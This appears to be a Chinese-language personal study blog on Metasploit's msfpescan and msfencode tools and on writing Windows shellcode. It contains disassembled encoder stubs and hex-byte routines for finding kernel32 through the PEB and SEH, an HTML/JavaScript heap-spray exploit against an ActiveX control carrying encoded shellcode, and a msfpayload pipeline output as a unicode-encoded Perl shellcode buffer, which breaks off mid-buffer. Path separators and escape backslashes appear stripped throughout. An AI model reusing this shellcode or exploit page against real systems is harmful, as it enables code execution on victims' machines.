• matasploit+shellcode编码学习





    msfpescan ,msfencode 等命令使用

    首先下面额指令都是我用到时记录的,可以说是经常用到吧


    先找到memdump.exe文件:

    C:Program FilesMetasploitFramework3msf3 oolsmemdumpmemdump.exe

    在CMD下 运行  memdump.exe 进程PID c:abc

    然后进入console

    运行   msfpescan -p -m c:/abc  > 1.txt 妈个蛋 要安装ruby 不安装了·······直接用msfpescan -p xx.dll我还觉得方便些


    eg:  msfpescan player.dll -p   搜索DLL中所有pop pop ret 指令

    Usage: /msf3/msfpescan [mode] <options> [targets]
    
    Modes:
        -j, --jump [regA,regB,regC]      Search for jump equivalent instructions
        -p, --poppopret                  Search for pop+pop+ret combinations
        -r, --regex [regex]              Search for regex match
        -a, --analyze-address [address]  Display the code at the specified address
        -b, --analyze-offset [offset]    Display the code at the specified offset
        -f, --fingerprint                Attempt to identify the packer/compiler
        -i, --info                       Display detailed information about the image
        -R, --ripper [directory]         Rip all module resources to disk 
            --context-map [directory]    Generate context-map files
    
    Options:
        -M, --memdump                    The targets are memdump.exe directories
        -A, --after [bytes]              Number of bytes to show after match (-a/-b)
        -B, --before [bytes]             Number of bytes to show before match (-a/-b)
        -D, --disasm                     Disassemble the bytes at this address
        -I, --image-base [address]       Specify an alternate ImageBase
        -F, --filter-addresses [regex]   Filter addresses based on a regular expression
        -h, --help                       Show this message
    


    下面学习用 msfencode 加密shellcode 的方法:

    root@bt:/opt/framework/msf3# ./msfencode -h
    
        Usage: ./msfencode <options>
    
    OPTIONS:
    
        -a <opt>  The architecture to encode as
        -b <opt>  The list of characters to avoid: 'x00xff'
        -c <opt>  The number of times to encode the data
        -d <opt>  Specify the directory in which to look for EXE templates
        -e <opt>  The encoder to use
        -h        Help banner
        -i <opt>  Encode the contents of the supplied file path
        -k        Keep template working; run payload in new thread (use with -x)
        -l        List available encoders
        -m <opt>  Specifies an additional module search path
        -n        Dump encoder information
        -o <opt>  The output file
        -p <opt>  The platform to encode for
        -s <opt>  The maximum size of the encoded data
        -t <opt>  The output format: raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war
        -v        Increase verbosity
        -x <opt>  Specify an alternate executable template
    

    root@bt:/opt/framework/msf3# ./msfencode -l
    
    Framework Encoders
    ==================
    
        Name                    Rank       Description
        ----                    ----       -----------
        cmd/generic_sh          good       Generic Shell Variable Substitution Command Encoder
        cmd/ifs                 low        Generic ${IFS} Substitution Command Encoder
        cmd/printf_php_mq       manual     printf(1) via PHP magic_quotes Utility Command Encoder
        generic/none            normal     The "none" Encoder
        mipsbe/longxor          normal     XOR Encoder
        mipsle/longxor          normal     XOR Encoder
        php/base64              great      PHP Base64 encoder
        ppc/longxor             normal     PPC LongXOR Encoder
        ppc/longxor_tag         normal     PPC LongXOR Encoder
        sparc/longxor_tag       normal     SPARC DWORD XOR Encoder
        x64/xor                 normal     XOR Encoder
        x86/alpha_mixed         low        Alpha2 Alphanumeric Mixedcase Encoder
        x86/alpha_upper         low        Alpha2 Alphanumeric Uppercase Encoder
        x86/avoid_utf8_tolower  manual     Avoid UTF8/tolower
        x86/call4_dword_xor     normal     Call+4 Dword XOR Encoder
        x86/context_cpuid       manual     CPUID-based Context Keyed Payload Encoder
        x86/context_stat        manual     stat(2)-based Context Keyed Payload Encoder
        x86/context_time        manual     time(2)-based Context Keyed Payload Encoder
        x86/countdown           normal     Single-byte XOR Countdown Encoder
        x86/fnstenv_mov         normal     Variable-length Fnstenv/mov Dword XOR Encoder
        x86/jmp_call_additive   normal     Jump/Call XOR Additive Feedback Encoder
        x86/nonalpha            low        Non-Alpha Encoder
        x86/nonupper            low        Non-Upper Encoder
        x86/shikata_ga_nai      excellent  Polymorphic XOR Additive Feedback Encoder
        x86/single_static_bit   manual     Single Static Bit
        x86/unicode_mixed       manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
        x86/unicode_upper       manual     Alpha2 Alphanumeric Unicode Uppercase Encoder

    学习几种shellcode编码/加密方式:

    每次得到的shellcode 都不相同了, 放在ESI 中的值,得到解码器起始地址的指令位置,记录位置的寄存器 ,循环前面的指令,变量的值都变了


    1)    x86/shikata_ga_nai   

    00427400    BA 99B20D32     mov edx,0x320DB299
    00427405    DBC9            fcmovne st,st(1)
    00427407    D97424 F4       fstenv (28-byte) ptr ss:[esp-0xC]  //这句代码得到解码器第一个FPU指令的地址,这个指令能工作的必备条件是前面至少有个FPU指令被执行
                                                                   //可以是 fcmovne st,st(1)   fldpi     fldz	ffree st(3) fcmovnb st,st fcmovnbe st,st(5)
    0042740B    5D              pop ebp
    0042740C    29C9            sub ecx,ecx
    0042740E    B1 46           mov cl,0x46
    00427410    3155 13         xor dword ptr ss:[ebp+0x13],edx    //xor 解码
    00427413    83C5 04         add ebp,0x4
    00427416    0355 96         add edx,dword ptr ss:[ebp-0x6A]
    00427419  ^E2 F5           loopd Xtest1231.00427410           //用LOOP 去循环取值
    

    2)x86/alpha_mixed    主要思想是 重新产生原始代码(通过一个循环)

    00427400 >  89E0            mov eax,esp
    00427402    DBD3            fcmovnbe st,st(3)
    00427404    D970 F4         fstenv (28-byte) ptr ds:[eax-0xC]
    00427407    5D              pop ebp
    00427408    55              push ebp
    00427409    59              pop ecx
    0042740A    49              dec ecx
    0042740B    49              dec ecx
    0042740C    49              dec ecx
    0042740D    49              dec ecx
    0042740E    49              dec ecx
    0042740F    49              dec ecx
    00427410    49              dec ecx
    00427411    49              dec ecx
    00427412    49              dec ecx
    00427413    49              dec ecx
    00427414    43              inc ebx
    00427415    43              inc ebx
    00427416    43              inc ebx
    00427417    43              inc ebx
    00427418    43              inc ebx
    00427419    43              inc ebx
    0042741A    37              aaa
    0042741B    51              push ecx
    0042741C    5A              pop edx
    0042741D    6A 41           push 0x41
    0042741F    58              pop eax
    00427420    50              push eax
    00427421    3041 30         xor byte ptr ds:[ecx+0x30],al
    00427424    41              inc ecx
    00427425    6B41 41 10      imul eax,dword ptr ds:[ecx+0x41],0x10
    00427429    3241 42         xor al,byte ptr ds:[ecx+0x42]
    0042742C    3242 42         xor al,byte ptr ds:[edx+0x42]
    0042742F    3042 42         xor byte ptr ds:[edx+0x42],al
    00427432    41              inc ecx
    00427433    42              inc edx
    00427434    58              pop eax
    00427435    50              push eax
    00427436    3841 42         cmp byte ptr ds:[ecx+0x42],al
    00427439  ^ 75 E9           jnz Xtest1231.00427424
    

    3)x86/fnstenv_mov   还是解密 产生原始代码

    00427400 >  6A 3F           push 0x3F
    00427402    59              pop ecx
    00427403    D9EE            fldz
    00427405    D97424 F4       fstenv (28-byte) ptr ss:[esp-0xC]                  ;都是通过这两条获取当前地址 去操作解密的
    00427409    5B              pop ebx
    0042740A    8173 13 413EFDC>xor dword ptr ds:[ebx+0x13],0xC3FD3E41             ; Decrypt ->00427416
    00427411    83EB FC         sub ebx,-0x4
    00427414  ^ E2 F4           loopd Xtest1231.0042740A
    00427416    D9EB            fldpi
    

    4) x86/call4_dword_xor                 

    00427400 >  31C9            xor ecx,ecx
    00427402    83E9 C1         sub ecx,-0x3F
    00427405    E8 FFFFFFFF     call test1231.00427409                    ;这个就不同于上面的 这个是call 得到下一条语句地址
    0042740A    C05E 81 76      rcr byte ptr ds:[esi-0x7F],0x76                    ; 
    0042740E    0E              push cs
    0042740F    D6              salc
    00427410    8A28            mov ch,byte ptr ds:[eax]
    00427412    AC              lods byte ptr ds:[esi]
    00427413    83EE FC         sub esi,-0x4
    00427416  ^ E2 F4           loopd Xtest1231.0042740C
    

    5)skylined alpha3

    http://bbs.pediy.com/showthread.php?t=156913  用的 半斤八两 集合的 MFC 用的就是这个编码器

    ~~~小知识  修改MFC  左上角 图标

    HICON m_hIcon;
    m_hIcon = AfxGetApp()->LoadIcon(IDI_ICON1); //为资源ID 。改成其他图标就用对应的资源ID
    SetIcon(m_hIcon, TRUE);

    注意使用它时必须 eip 指向 eax 指向 shellcode 起始
    可以全部转换为 可视代码~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    00427400    50              push eax                                 ;eax首先就指向 shellcode 起始地址第一字节
    00427401    59              pop ecx
    00427402    49              dec ecx
    00427403    49              dec ecx
    00427404    49              dec ecx
    00427405    49              dec ecx
    00427406    49              dec ecx
    00427407    49              dec ecx
    00427408    49              dec ecx
    00427409    49              dec ecx
    0042740A    49              dec ecx
    0042740B    49              dec ecx
    0042740C    49              dec ecx
    0042740D    49              dec ecx
    0042740E    49              dec ecx
    0042740F    49              dec ecx
    00427410    49              dec ecx
    00427411    49              dec ecx
    00427412    37              aaa
    00427413    51              push ecx
    00427414    5A              pop edx
    00427415    6A 41           push 0x41
    00427417    58              pop eax
    00427418    50              push eax
    00427419    3041 30         xor byte ptr ds:[ecx+0x30],al
    0042741C    41              inc ecx
    0042741D    6B41 41 10      imul eax,dword ptr ds:[ecx+0x41],0x10
    00427421    3241 42         xor al,byte ptr ds:[ecx+0x42]
    00427424    3242 42         xor al,byte ptr ds:[edx+0x42]
    00427427    3042 42         xor byte ptr ds:[edx+0x42],al
    0042742A    41              inc ecx
    0042742B    42              inc edx
    0042742C    58              pop eax
    0042742D    50              push eax
    0042742E    3841 42         cmp byte ptr ds:[ecx+0x42],al
    00427431  ^ 75 E9           jnz Xtest1231.0042741C
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    GETPC方式~~~~~~~~~~~~~~~~~~~~~~~

    1) call $+4   (注意call $+5不好用)

    00427400    E8 FFFFFFFF     call test1231.00427404   ;jmp 到  00427404    FFC3            inc ebx  不影响,然后 pop ecx 即可把00427405 返回到 ecx
    00427405    C3              retn
    00427406    59              pop ecx
    

    2)  FSTENV

    00427403    D9EE            fldz                                 ;一个FPU指令
    00427405    D97424 F4       fstenv (28-byte) ptr ss:[esp-0xC]     ;会在第一条指令执行之后保存浮点芯片的状态。第一条指令的地址保存在 0xc的偏移量处。 然后一个pop 即可保存地址

    3)Backward call

    00427400   /EB 03           jmp Xtest1231.00427405     ;1)jmp
    00427402   |5E              pop esi<span style="white-space:pre">	</span> <span style="white-space:pre">			</span>    3);弹出esi为 <span style="font-family: Arial, Helvetica, sans-serif;">0042740A</span>
    00427403   |FFD6            call esi                                               4)保存00427405 到esp  并且继续执行<span style="font-family: Arial, Helvetica, sans-serif;">0042740A</span><span style="font-family: Arial, Helvetica, sans-serif;">                    </span>
    00427405   E8 F8FFFFFF     call test1231.00427402        ;2)保存 下一条地址 0042740A到 esp
    0042740A    49              dec ecx                                  ; test1231.00427405
    
    4) seh getpc

    寻找kernel32.dll 因为 我们想找 LoadLibrary 和 GetProcAddress 

    lkd> dt _peb
    nt!_PEB
       +0x000 InheritedAddressSpace : UChar
       +0x001 ReadImageFileExecOptions : UChar
       +0x002 BeingDebugged    : UChar
       +0x003 SpareBool        : UChar
       +0x004 Mutant           : Ptr32 Void
       +0x008 ImageBaseAddress : Ptr32 Void
       +0x00c Ldr              : Ptr32 _PEB_LDR_DATA
       +0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
       +0x014 SubSystemData    : Ptr32 Void
       ··········
    
    lkd> dt _PEB_LDR_DATA<span style="white-space:pre">	</span>
    nt!_PEB_LDR_DATA
       +0x000 Length           : Uint4B
       +0x004 Initialized      : UChar
       +0x008 SsHandle         : Ptr32 Void
       +0x00c InLoadOrderModuleList : _LIST_ENTRY
       +0x014 InMemoryOrderModuleList : _LIST_ENTRY
       +0x01c InInitializationOrderModuleList : _LIST_ENTRY
       +0x024 EntryInProgress  : Ptr32 Void
    
    lkd> dt _ldr_data_table_entry  
    nt!_LDR_DATA_TABLE_ENTRY
       +0x000 InLoadOrderLinks : _LIST_ENTRY
       +0x008 InMemoryOrderLinks : _LIST_ENTRY
       +0x010 InInitializationOrderLinks : _LIST_ENTRY
       +0x018 DllBase          : Ptr32 Void
       +0x01c EntryPoint       : Ptr32 Void
       +0x020 SizeOfImage      : Uint4B
       +0x024 FullDllName      : _UNICODE_STRING
       +0x02c BaseDllName      : _UNICODE_STRING
       +0x034 Flags            : Uint4B
       `````````````````

    lkd> dt _UNICODE_STRING
    nt!_UNICODE_STRING
       +0x000 Length           : Uint2B
       +0x002 MaximumLength    : Uint2B
       +0x004 Buffer           : Ptr32 Uint2B


    1) 通过PEB 

    (1)通过  ldr + 0xc   InLoadOrderModuleList 结构                                        通用~~~~~~

    0040D4AF  |.  33D2          xor edx,edx
    0040D4B1  |.  64:8B5A 30    mov ebx,dword ptr fs:[edx+0x30]          ;  PEB
    0040D4B5  |.  8B5B 0C       mov ebx,dword ptr ds:[ebx+0xC]           ;  ldr
    0040D4B8  |.  8B5B 0C       mov ebx,dword ptr ds:[ebx+0xC]           
    ###  InLoadOrderModuleList-》_LIST_ENTRY本身就是LDR_DATA_TABLE_ENTRY结构
    0040D4BB  |.  8B1B          mov ebx,dword ptr ds:[ebx]              
    ###  InLoadOrderLinks ->   WIN7:这里 [ebx+0x18]    是地址 SysWOW64
    tdll.dll    XP SP3: system32
    tdll.dll
    0040D4BD  |.  8B1B          mov ebx,dword ptr ds:[ebx]              
    ###  InLoadOrderLinks ->   WIN7:这里 [ebx+0x18]    是地址 SysWOW64kernel32.dll XP SP3: system32kernel32.dll
    0040D4BF  |.  8B5B 18       mov ebx,dword ptr ds:[ebx+0x18]          ;  +0x018 DllBase          : Ptr32 Void
    0040D4C2  |.  8BEB          mov ebp,ebx                              ;  kernel32.74CB0000
    33 D2 64 8B 5A 30 8B 5B 0C 8B 5B 0C 8B 1B 8B 1B 8B 5B 18 8B EB

    (2) 通过  ldr + 0x14     InMemoryOrderModuleList                                           通用~~~~~~

    0040D4AF      33DB                  xor ebx,ebx
    0040D4B1      64:8B5B 30            mov ebx,dword ptr fs:[ebx+0x30]
    0040D4B5      8B5B 0C               mov ebx,dword ptr ds:[ebx+0xC]            ;  ldr
    0040D4B8      8B5B 14               mov ebx,dword ptr ds:[ebx+0x14]           ;  InMemoryOrderModuleList
    0040D4BB      8B1B                  mov ebx,dword ptr ds:[ebx]               
    ### InMemoryOrderLinks  -》  WIN7: 这里 [ebx+0x20] 是地址 SysWOW64
    tdll.dll    XP SP3: system32
    tdll.dll
    0040D4BD      8B1B                  mov ebx,dword ptr ds:[ebx]                
    ### InMemoryOrderLinks  -》  WIN7: 这里 [ebx+0x20] 是地址 SysWOW64kernel32.dll XP SP3: system32kernel32.dll
    0040D4BF      8B5B 10               mov ebx,dword ptr ds:[ebx+0x10]           
    ### [ebx+0x10]  是 DllBase
    
    

    33 DB 64 8B 5B 30 8B 5B 0C 8B 5B 14 8B 1B 8B 1B 8B 5B 10 8B EB

    (3) 下面在 2000也实用,再经构造  对BaseDllName 验证 hash值:                      通用~~~~~~

    0040D4AF      FC            cld
    0040D4B0      33D2          xor edx,edx
    0040D4B2      64:8B52 30    mov edx,dword ptr fs:[edx+0x30]
    0040D4B6      8B52 0C       mov edx,dword ptr ds:[edx+0xC]
    0040D4B9      8B52 14       mov edx,dword ptr ds:[edx+0x14]          ;  InMemoryOrderModuleList
    0040D4BC      8B72 28       mov esi,dword ptr ds:[edx+0x28]          ;  BaseDllName -》Buffer
    0040D4BF      6A 18         push 0x18                                ;  kernel32.dll length=12*2
    0040D4C1      59            pop ecx
    0040D4C2      33FF          xor edi,edi
    0040D4C4      33C0          xor eax,eax
    0040D4C6      AC            lods byte ptr ds:[esi]
    0040D4C7      3C 61         cmp al,0x61                              ;  cmp al,‘a’
    0040D4C9      7C 02         jl Xtest1231.0040D4CD
    0040D4CB      2C 20         sub al,0x20
    0040D4CD      C1CF 0D       ror edi,0xD
    0040D4D0      03F8          add edi,eax
    0040D4D2    ^ E2 F0         loopd Xtest1231.0040D4C4
    0040D4D4      81FF 5BBC4A6A cmp edi,0x6A4ABC5B
    0040D4DA      8B5A 10       mov ebx,dword ptr ds:[edx+0x10]          ;  DllBase
    0040D4DD      8B12          mov edx,dword ptr ds:[edx]               ;  下一个InMemoryOrderLinks
    0040D4DF    ^ 75 DB         jnz Xtest1231.0040D4BC                   ;  ebx 为kernerl32.dll基址
    

    FC 33 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 6A 18 59 33 FF 33 C0 AC 3C 61 7C 02 2C 20 C1 CF
    0D 03 F8 E2 F0 81 FF 5B BC 4A 6A 8B 5A 10 8B 12 75 DB

    (4) ldr + 0x1c    InInitializationOrderModuleList 通过验证 buffer 长度                    通用~~~~~

    0040D4AF      33C9          xor ecx,ecx
    0040D4B1      64:8B71 30    mov esi,dword ptr fs:[ecx+0x30]
    0040D4B5      8B76 0C       mov esi,dword ptr ds:[esi+0xC]      ;  ldr
    0040D4B8      8B76 1C       mov esi,dword ptr ds:[esi+0x1C]     ;  InInitializationOrderModuleList
    0040D4BB      8B6E 08       mov ebp,dword ptr ds:[esi+0x8]      ;  esi+0x8 = DllBase
    0040D4BE      8B7E 20       mov edi,dword ptr ds:[esi+0x20]     ;  esi+0x20 = BaseDllName ->buffer
    0040D4C1      8B36          mov esi,dword ptr ds:[esi]          ;  下一个InInitializationOrderLinks
    0040D4C3      384F 18       cmp byte ptr ds:[edi+0x18],cl       ;  modulename[12] == 0? 
                                                                    ;  len(KERNELBASE.dll)=14 len(kernel32.dll)=12
    0040D4C6    ^ 75 F3         jnz Xtest1231.0040D4BB              ;  ebp = kernel32基址

    33 C9 64 8B 71 30 8B 76 0C 8B 76 1C 8B 6E 08 8B 7E 20 8B 36 38 4F 18 75 F3


    (5)不通用  而且 有 00 字节b  WIN7 和 xp 有区别    ldr + 0x1c    InInitializationOrderModuleList      不 通用~~~~~~

    0040D4AF      33C0          xor eax,eax
    0040D4B1      64:8B40 30    mov eax,dword ptr fs:[eax+0x30]
    0040D4B5      8B40 0C       mov eax,dword ptr ds:[eax+0xC]     ;  ldr
    0040D4B8      8B70 1C       mov esi,dword ptr ds:[eax+0x1C]    ;  InInitializationOrderModuleList 
    0040D4BB      AD            lods dword ptr ds:[esi]                  
                                                                   ;InInitializationOrderLinks -> 
                                                                   ; WIN7:这里FullDllName [ebx+0x18] 是syswow64KERNELBASE.dll 
                                                                   ; XP SP3: system32kernel32.dll
    0040D4BC      8B00          mov eax,dword ptr ds:[eax]       
                                                                   ; InInitializationOrderLinks- >
                                                                   ; WIN7:这里FullDllName [ebx+0x18] 是syswow64kernel32.dll   
                                                                   ;  XP SP3: 这里 [eax+0x8] 即为 kernerl32.dll基址
    0040D4BE      8B40 08       mov eax,dword ptr ds:[eax+0x8]     ;  [eax+0x8] 是DllBase  kernel32.74CB0000
    

    win7 是因为 它是 32位程序,所以按32位来编码的



    下面为 SEH 知识,复习下

    ntdll!_TEB  
    struct _TEB, 66 elements, 0xfb8 bytes  
       +0x000 NtTib            : struct _NT_TIB, 8 elements, 0x1c bytes  
          +0x000 ExceptionList    : Ptr32 to struct _EXCEPTION_REGISTRATION_RECORD,2 elements, 0x8 bytes  
             +0x000 Next             : Ptr32 to struct _EXCEPTION_REGISTRATION_RECORD, 2 elements, 0x8 bytes  
             +0x004 Handler          : Ptr32 to           _EXCEPTION_DISPOSITION   
          +0x004 StackBase        : Ptr32 to Void  
          +0x008 StackLimit       : Ptr32 to Void  
          +0x00c SubSystemTib     : Ptr32 to Void  
          +0x010 FiberData        : Ptr32 to Void  
          +0x010 Version          : Uint4B  
    

    2) 通过SEH

    下面的技术要求 最后一个异常处理函数  0xffffffff 指向 kernel32.dll  ,所以查找可让kernel32里面的指针后,

    要做的就是往回循环到内核的顶部,比较前两个字节。 

    如果最后一个异常处理函数没有指向 kewrnel32.dll 这个技术明显会失败

    我的  WIN7  失败~~~~~~~~~~~~~~~~~~~

    0040D4AF      56            push esi
    0040D4B0      51            push ecx
    0040D4B1      33C9          xor ecx,ecx                       ;  ecx = 0
    0040D4B3      64:8B31       mov esi,dword ptr fs:[ecx]        ;  esi = NtTib =指向nseh的指针
    0040D4B6      AD            lods dword ptr ds:[esi]           ;  eax = 指向下一个nseh(0xffffffff)的指针
    0040D4B7      96            xchg eax,esi                      ;  esi =指向下一个nseh(0xffffffff)的指针,
                                                                     eax = NtTib =指向nseh的指针
    0040D4B8      390E          cmp dword ptr ds:[esi],ecx        ;  nseh == 0
    0040D4BA    ^ 79 FA         jns Xtest1231.0040D4B6
    0040D4BC      AD            lods dword ptr ds:[esi]           ;  eax = ffffffff,esi+4 指向seh
    0040D4BD      AD            lods dword ptr ds:[esi]           ;  eax = seh地址
    0040D4BE      48            dec eax
    0040D4BF      66:33C0       xor ax,ax
    0040D4C2      66:8138 4D5A  cmp word ptr ds:[eax],0x5A4D
    0040D4C7    ^ 75 F5         jnz Xtest1231.0040D4BE            ;  eax=ntdll.dll基址
    0040D4C9      59            pop ecx
    0040D4CA      5E            pop esi
    0040D4CB      C3            retn
    

    56 51 33 C9 64 8B 31 AD 96 39 0E 79 FA AD AD 48 66 33 C0 66 81 38 4D 5A 75 F5 59 5E C3

    3) TOPSTACK TEB

    XP SP3  行得通  WIN7不行~~~~~

    0044F611 >    56            push esi
    0044F612      33F6          xor esi,esi
    0044F614      64:8B46 04    mov eax,dword ptr fs:[esi+0x4]
    0044F618      8B40 E4       mov eax,dword ptr ds:[eax-0x1C]          ;  hander
    0044F61B      48            dec eax                                  ;  kernel32._except_handler3; SE 处理程序安装
    0044F61C      66:33C0       xor ax,ax
    0044F61F      66:8138 4D5A  cmp word ptr ds:[eax],0x5A4D
    0044F624    ^ 75 F5         jnz X表白专用.0044F61B
    0044F626      5E            pop esi
    0044F627      C3            retn

    56 33 F6 64 8B 46 04 8B 40 E4 48 66 33 C0 66 81 38 4D 5A 75 F5 5E C3

    解释一下:  顶层一场处理结构体总是安排在线程堆栈最高端再-20h处




    UNICODE 编码学习~~~~~~:

    root@bt:/opt/framework/msf3# ./msfencode -i /root/Desktop/1.dat  -c 1 -b 'x00' -e x86/shikata_ga_nai -t js_le
    [*] x86/shikata_ga_nai succeeded with size 195 (iteration=1)
    
    %uc3d9%u74d9%uf424%uf1b8%u721d%u5dcc%uc929%u2bb1%uc583%u3104%u1345%ub403%u900e%uca39%u3e59%u0ac8%ud684%ue3af%u6969%uc158%ue7fd%uae94%u8a0a%u44db%u4ec1%ua094%u920d%u13bd%u6662%u0b11%uf5f0%ub9f0%ucaae%u5928%u77c4%u2afd%u8b91%u6576%u1f3a%ufe81%u172b%u3d3f%u2dc6%u2307%u3763%ua4e2%ucfdc%u3a99%u6a68%u319e%u7022%u46a6%uf176%u680f%udb8b%u9783%u68cc%udcd7%u9bd0%u2d81%u6569%uf588%u62e1%u3f2d%u700e%uf97d%u87fa%u5146%u7bd9%ubdcc%uddaa%u3e0a%ubb70%u7cd9%ucff1%u6087%u0d06%ub434%u38b3%u6f64%u2394%u05a6%u9c11%uacc6%uef8c%u1d2d%u6ba7%u91b3%u1c14%u8110%ub23b%ue5dd%u1aef%ub6b2%uccf0%u6bce%ua4f0%u41d6


    可以用···················  可以设置    不要  bad characters

    <object classid='clsid:2355C601-37D1-42B4-BEB1-03C773298DC8' id='target' /></object>  
    <script>  
    var nop = unescape("%u9090");  
    var shellcode=unescape("%uc3d9%u74d9%uf424%uf1b8%u721d%u5dcc%uc929%u2bb1%uc583%u3104%u1345%ub403%u900e%uca39%u3e59%u0ac8%ud684%ue3af%u6969%uc158%ue7fd%uae94%u8a0a%u44db%u4ec1%ua094%u920d%u13bd%u6662%u0b11%uf5f0%ub9f0%ucaae%u5928%u77c4%u2afd%u8b91%u6576%u1f3a%ufe81%u172b%u3d3f%u2dc6%u2307%u3763%ua4e2%ucfdc%u3a99%u6a68%u319e%u7022%u46a6%uf176%u680f%udb8b%u9783%u68cc%udcd7%u9bd0%u2d81%u6569%uf588%u62e1%u3f2d%u700e%uf97d%u87fa%u5146%u7bd9%ubdcc%uddaa%u3e0a%ubb70%u7cd9%ucff1%u6087%u0d06%ub434%u38b3%u6f64%u2394%u05a6%u9c11%uacc6%uef8c%u1d2d%u6ba7%u91b3%u1c14%u8110%ub23b%ue5dd%u1aef%ub6b2%uccf0%u6bce%ua4f0%u41d6")
    while (nop.length < 0x100000/2)   
    {nop += nop;}  
      
    nop=nop.substring(0,0x100000-32/2-4/2-2/2-1-shellcode.length);  
    nop =nop+ shellcode;  
      var memory = new Array();  
      for (var i=0;i<200;i++)   
    {memory[i] += nop;}  
    
    arg1='x0a';
    while(arg1.length < 2000){arg1 += 'x0c';}
    arg2 = 'x0cx0cx0cx0c';
    arg1 = arg1 + arg2;
    target.Data = arg1;
    </script>  


    用msfencode 生成     unicode  shellcode

    root@bt:/opt/framework/msf3# ./msfpayload windows/exec  CMD=calc R |
    > ./msfencode -e x86/alpha_mixed -t raw | 
    > ./msfencode -e x86/unicode_upper BufferRegister=EAX -t perl
    [*] x86/alpha_mixed succeeded with size 454 (iteration=1)
    
    [*] x86/unicode_upper succeeded with size 1039 (iteration=1)
    
    my $buf = 
    "x50x50x59x41x49x41x49x41x49x41x49x41x51x41" .
    "x54x41x58x41x5ax41x50x55x33x51x41x44x41x5a" .
    "x41x42x41x52x41x4cx41x59x41x49x41x51x41x49" .
    "x41x51x41x50x41x35x41x41x41x50x41x5ax31x41" .
    "x49x31x41x49x41x49x41x4ax31x31x41x49x41x49" .
    "x41x58x41x35x38x41x41x50x41x5ax41x42x41x42" .
    "x51x49x31x41x49x51x49x41x49x51x49x31x31x31" .
    "x31x41x49x41x4ax51x49x31x41x59x41x5ax42x41" .
    "x42x41x42x41x42x41x42x33x30x41x50x42x39x34" .
    "x34x4ax42x54x49x4bx31x49x4bx58x4ex49x49x52" .
    "x51x5ax54x51x4ex50x56x52x39x50x49x50x49x51" .
    "x39x50x49x51x39x51x39x50x49x51x39x50x49x50" .
    "x49x51x33x51x33x50x43x50x43x50x43x50x43x50" .
    "x37x52x31x51x4ax51x5ax51x31x50x58x50x50x50" .
    "x30x51x31x50x30x51x31x52x4bx51x31x51x31x50" .
    "x51x50x32x51x31x50x42x50x32x51x32x51x32x50" .
    "x30x51x32x50x42x51x31x51x32x50x58x52x30x50" .
    "x38x51x31x50x42x54x35x50x4ax51x39x50x49x52" .
    "x4cx50x4bx51x48x50x4ex43x39x50x43x50x30x50" .
    "x45x52x30x51x37x54x30x51x33x50x50x50x4dx50" .
    "x59x50x49x43x45x51x46x52x31x52x38x51x42x51" .
    "x33x50x54x50x4cx50x4bx50x52x43x42x52x36x50" .
    "x50x50x4cx50x4bx51x33x51x52x50x54x50x4cx50" .
    "x4ex52x4bx50x52x52x52x51x46x43x44x50x4cx50" .
    "x4bx51x44x50x32x50x45x43x48x50x56x52x4fx50" .
    "x4dx43x37x50x52x52x4ax50x56x50x46x51x46x50" .
    "x51x51x39x52x4fx50x50x50x31x51x39x52x30x50" .
    "x4ex50x4cx51x37x50x4cx50x50x51x51x50x51x52" .
    "x4cx51x37x52x52x50x56x50x4cx50x45x52x50x51" .
    "x39x52x31x52x38x50x4fx50x56x52x4dx50x45x50" .
    "x51x50x49x51x47x51x39x43x42x50x4cx50x30x51" .
    "x42x52x52x50x43x52x47x50x4ex52x4bx50x51x51" .
    "x32x52x32x50x30x50x4ex52x4bx50x43x43x42x50" .
    "x45x52x4cx50x56x51x51x51x4ax52x50x50x4cx50" .
    "x4bx50x51x52x30x52x32x51x48x50x4cx50x45x50" .
    "x4bx52x50x50x52x52x34x52x30x50x4ax50x45x52" .
    "x31x52x38x52x30x52x30x50x50x50x4cx50x4bx51" .
    "x33x54x38x50x47x52x48x50x4cx50x4bx50x43x43" .
    "x38x50x45x54x30x52x36x51x51x50x49x50x43x50" .
    "x4dx50x33x51x37x50x4cx52x31x51x49x50x4ex52" .
    "x4bx52x36x52x34x50x4ex52x4bx50x45x52x31x52" .
    "x38x51x46x50x45x51x51x50x4bx50x4fx52x34x52" .
    "x51x50x4fx50x30x50x4ex50x4cx50x4fx50x31x50" .
    "x58x50x4fx52x36x52x4dx51x33x50x31x50x4fx50" .
    "x37x50x50x50x38x50x4dx50x30x50x43x51x35x51" .
    "x48x54x34x51x44x50x43x50x43x50x4dx51x4ax50" .
    "x58x50x47x50x4bx50x51x52x4dx52x31x50x34x50" .
    "x54x50x35x50x58x52x42x50x50x52x38x50x4ex52" .
    "x4bx50x56x50x38x51x35x54x34x51x35x50x51x51" .
    "x48x50x53x52x30x43x36x50x4cx50x4bx51x46x52" .
    "x4cx52x32x52x4bx50x4ex52x4bx50x50x52x38x51" .
    "x35x50x4cx51x37x52x51x50x49x50x43x50x4cx50" .
    "x4bx50x47x54x34x50x4ex52x4bx51x37x54x31x50" .
    "x4ex50x30x50x4ex43x39x50x52x52x44x51x37x51" .
    "x44x50x51x50x34x50x51x50x4bx52x31x50x4bx50" .
    "x45x50x31x50x50x50x59x51x33x51x5ax52x32x52" .
    "x51x51x39x52x4fx50x4bx50x50x52x30x51x48x51" .
    "x33x52x4fx51x42x52x5ax50x4cx50x4bx50x45x50" .
    "x42x50x5ax50x4bx50x4dx52x36x50x51x50x4dx51" .
    "x33x50x5ax50x47x52x51x50x4ex52x4dx50x4fx52" .
    "x55x50x4ex51x49x51x33x50x30x51x37x54x30x51" .
    "x33x50x30x52x30x50x50x50x51x43x48x50x50x50" .
    "x31x50x4ex52x4bx50x50x52x4fx50x4fx43x47x50" .
    "x4bx50x4fx50x58x52x35x50x4dx52x4bx50x4cx50" .
    "x30x50x4ex51x45x50x4fx52x32x50x51x50x46x50" .
    "x43x51x48x50x4fx51x46x50x5ax50x35x50x4dx52" .
    "x4dx50x4dx50x4dx50x4bx50x4fx50x4bx43x35x50" .
    "x47x50x4cx51x37x54x36x50x43x50x4cx50x54x50" .
    "x4ax50x4fx52x50x51x39x52x4bx50x4bx52x30x51" .
    "x33x50x45x50x47x52x55x50x4fx50x4bx50x43x54" .
